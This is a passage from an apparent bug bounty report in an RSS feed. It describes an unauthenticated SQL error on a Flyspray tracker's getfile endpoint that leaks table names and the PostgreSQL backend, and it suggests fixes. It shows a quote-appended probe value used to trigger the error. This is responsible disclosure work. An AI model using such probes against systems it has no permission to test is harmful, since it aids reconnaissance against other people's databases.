<pre class="code">  ... WHERE  attachment_id = ?} with params {7&#039;} failed! (ERROR:  invalid input syntax for type integer: &quot;7&#039;&quot;
  CONTEXT:  unnamed portal parameter $1 = &#039;...&#039;)</pre>

<p>
 Step 3. Response headers for the first request. 
</p>
<pre class="code">  HTTP/2 200
  server: Apache
  content-type: text/html; charset=utf-8
  via: 2.0 alproxy</pre>
<pre class="code">  The error page is returned with HTTP 200, no authentication, no referer, no special headers.</pre>

<p>
What this discloses
</p>

<p>
1. The exact query shape: table and column names (flyspray_attachments, flyspray_tasks, the attachment columns) and the join between them.<br />2. The database backend and its error format (PostgreSQL, portal parameters), and that the application surfaces database layer text straight to the client.<br />3. An input echo channel: my submitted value comes back inside the error, which is a reliable oracle when probing how other parameters reach the query layer.
</p>

<p>
I want to be precise about what I am not claiming: the visible sink binds the parameter (the placeholder with a typed cast error), so I am not reporting a proven injectable point at getfile. I am reporting it at exactly the stage your program rules ask for, a <acronym title="Structured Query Language">SQL</acronym> error that indicates the query handling, the same stage <del>&#160;<a href="https://security.alwaysdata.com/task/465?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#465</a>&#160;</del> was accepted at. Whether any code path feeding attachment_id can be pushed further is for your analysis, and I have deliberately not tried.
</p>

<p>
 Impact
</p>

<p>
On its own this is a reconnaissance aid, but it sits on the same host as the concurrently re-exposed .git directory, where an attacker already gets the complete file map. Query and schema disclosure to unauthenticated users lowers the cost of targeting the tracker&#039;s database layer, and the acceptance and fix of <del>&#160;<a href="https://security.alwaysdata.com/task/465?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#465</a>&#160;</del> shows you agree this class matters on this host.
</p>

<p>
 Suggested fix
</p>

<p>
1. Restore the <del>&#160;<a href="https://security.alwaysdata.com/task/465?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#465</a>&#160;</del> fix on the current deployment.<br />2. Send database exceptions to the log and render a generic error page, so the class stays closed across future redeploys.<br />3. Add the deployment assertion suggested in the .git report; it covers this regression too.
</p>
]]></content:encoded>
  </item>
  </rdf:RDF>
